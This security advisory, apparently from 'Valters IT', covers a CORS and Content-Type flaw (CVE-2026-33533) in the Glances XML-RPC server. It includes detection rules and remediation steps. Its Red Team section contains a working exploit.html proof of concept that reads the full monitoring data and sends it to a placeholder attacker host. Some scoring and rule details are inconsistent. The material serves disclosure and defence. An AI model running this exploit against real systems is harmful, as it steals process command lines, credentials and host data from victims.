CVE-2026-33533

Executive Summary

CVE-2026-33533 is a critical vulnerability in the Glances open-source system monitoring tool. The flaw resides in the XML-RPC server component, which is activated with the glances -s or glances --server command. The server sends an Access-Control-Allow-Origin: * header on every HTTP response and does not validate the Content-Type header of incoming requests. This allows an attacker-controlled webpage to issue a CORS "simple request" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker's JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths). This issue has been patched in version 4.5.3.

Supply Chain & Package Security

Glances is a Python package distributed via PyPI. Users who install Glances via pip install glances are affected if they run the server mode. The vulnerability is in the application code, not in the PyPI distribution mechanism itself. However, supply chain risks include the potential for malicious packages mimicking Glances or compromised dependencies. Users should verify the integrity of the Glances package and its dependencies.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attack is performed over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): Required (R) - The victim must visit a malicious webpage.
• Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): High (H) - Complete system monitoring data is exfiltrated.
• Integrity (I): None (N) - No data modification.
• Availability (A): None (N) - No denial of service.

CVSS Score: 6.1 (Medium)

Threat Level: High due to the ease of exploitation and the sensitivity of the data exfiltrated.

Deep Dive & Mechanics

The vulnerability is a combination of two misconfigurations:

1. Wildcard CORS Header: The Glances XML-RPC server sets Access-Control-Allow-Origin: * on every HTTP response. This allows any website to read the response data.
2. Missing Content-Type Validation: The XML-RPC handler does not validate the Content-Type header of incoming POST requests. Standard XML-RPC requires text/xml, but the server accepts text/plain as well.

Attack Flow:

1. An attacker hosts a malicious webpage.
2. A victim with Glances server running (glances -s) visits the attacker's webpage.
3. The webpage's JavaScript sends a POST request to the Glances server with Content-Type: text/plain and a valid XML-RPC payload (e.g., <?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>).
4. Because the request is a "simple request" (POST with text/plain), the browser does not send a CORS preflight OPTIONS request.
5. The Glances server processes the request and returns the full system monitoring data.
6. The browser allows the JavaScript to read the response because of the Access-Control-Allow-Origin: * header.
7. The attacker's JavaScript exfiltrates the data to a server under the attacker's control.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 4.5.3):

The vulnerable code is in the XML-RPC server implementation. The server likely uses a simple HTTP handler that sets the CORS header globally and does not check the Content-Type.

# Vulnerable example (conceptual)
class GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler):
    def do_POST(self):
        # No Content-Type validation
        self.send_response(200)
        self.send_header('Access-Control-Allow-Origin', '*')
        # ... process XML-RPC request

Patched Code (version 4.5.3):

The patch removes the wildcard CORS header and adds validation for the Content-Type header.

# Patched example (conceptual)
class GlancesXMLRPCHandler(SimpleXMLRPCRequestHandler):
    def do_POST(self):
        # Validate Content-Type
        content_type = self.headers.get('Content-Type', '')
        if content_type != 'text/xml':
            self.send_error(400, 'Bad Request')
            return
        self.send_response(200)
        # Remove wildcard CORS header or restrict to specific origins
        # self.send_header('Access-Control-Allow-Origin', 'https://trusted.example.com')
        # ... process XML-RPC request

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install vulnerable Glances: pip install glances==4.5.2
2. Start the server: glances -s
3. Create a malicious HTML file (exploit.html):

<!DOCTYPE html>
<html>
<head>
    <title>Glances Exploit</title>
</head>
<body>
    <h1>Exploiting Glances CVE-2026-33533</h1>
    <div id="output"></div>
    <script>
        const target = 'http://<GLANCES_SERVER_IP>:61209'; // Default port
        const payload = `<?xml version="1.0"?>
<methodCall>
    <methodName>getAll</methodName>
</methodCall>`;

        fetch(target, {
            method: 'POST',
            headers: {
                'Content-Type': 'text/plain'
            },
            body: payload
        })
        .then(response => response.text())
        .then(data => {
            document.getElementById('output').textContent = data;
            // Exfiltrate to attacker server
            fetch('http://<ATTACKER_SERVER>/exfil', {
                method: 'POST',
                body: data
            });
        })
        .catch(error => console.error('Error:', error));
    </script>
</body>
</html>

4. Host the HTML file on a web server (e.g., python -m http.server 8080).
5. Have the victim visit http://<ATTACKER_SERVER>:8080/exploit.html.

Expected Output: The attacker receives the full system monitoring data.

Blue Team

Detection:

• Monitor for POST requests to port 61209 with Content-Type: text/plain.
• Monitor for outbound connections from the Glances server to unknown IPs.
• Use the detection rules provided below.

Mitigation:

• Immediately upgrade to Glances 4.5.3 or later.
• If upgrade is not possible, restrict network access to the Glances server (e.g., firewall rules, bind to localhost only).
• Implement a reverse proxy that validates Content-Type headers.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to port 61209 with Content-Type: text/plain.
  • HTTP responses from port 61209 with Access-Control-Allow-Origin: *.
  • Outbound connections from the Glances server to unknown IPs.
• Host:
  • Glances process running with -s or --server flag.
  • Unusual network connections from the Glances process.
• Logs:
  • Glances server logs showing POST requests with non-standard Content-Type.

Detection Engineering

YARA Rule

rule CVE_2026_33533_Glances_XMLRPC_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2026-33533 in Glances XML-RPC server"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-33533"
    strings:
        $xml_payload = "<?xml version=\"1.0\"?>"
        $method_call = "<methodCall>"
        $get_all = "<methodName>getAll</methodName>"
        $content_type = "Content-Type: text/plain"
    condition:
        all of them
}

Sigma Rule

title: CVE-2026-33533 Glances XML-RPC Exploit Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to Glances XML-RPC server with text/plain Content-Type
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/'
        sc-status: 200
        cs-content-type: 'text/plain'
    condition: selection
falsepositives:
    - Legitimate monitoring tools using text/plain
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET 61209 (msg:"CVE-2026-33533 Glances XML-RPC Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"Content-Type|3a 20|text/plain"; http_header; content:"<?xml"; http_client_body; content:"<methodCall>"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Glances: Update to version 4.5.3 or later using pip install --upgrade glances.
2. Restrict Network Access: If upgrade is not possible, use firewall rules to restrict access to the Glances server (e.g., allow only trusted IPs).
3. Bind to Localhost: Run Glances server with glances -s -B 127.0.0.1 to bind only to localhost.

Long-Term Mitigations:

1. Implement a Reverse Proxy: Use a reverse proxy (e.g., Nginx) to validate Content-Type headers and restrict CORS origins.
2. Monitor for Exploitation: Deploy the detection rules provided above.
3. Security Hardening: Follow the principle of least privilege for the Glances process.

Valters IT Signature

Valters IT

{/* [Security Hash: F3032583FA045540DBFEEE3C] */}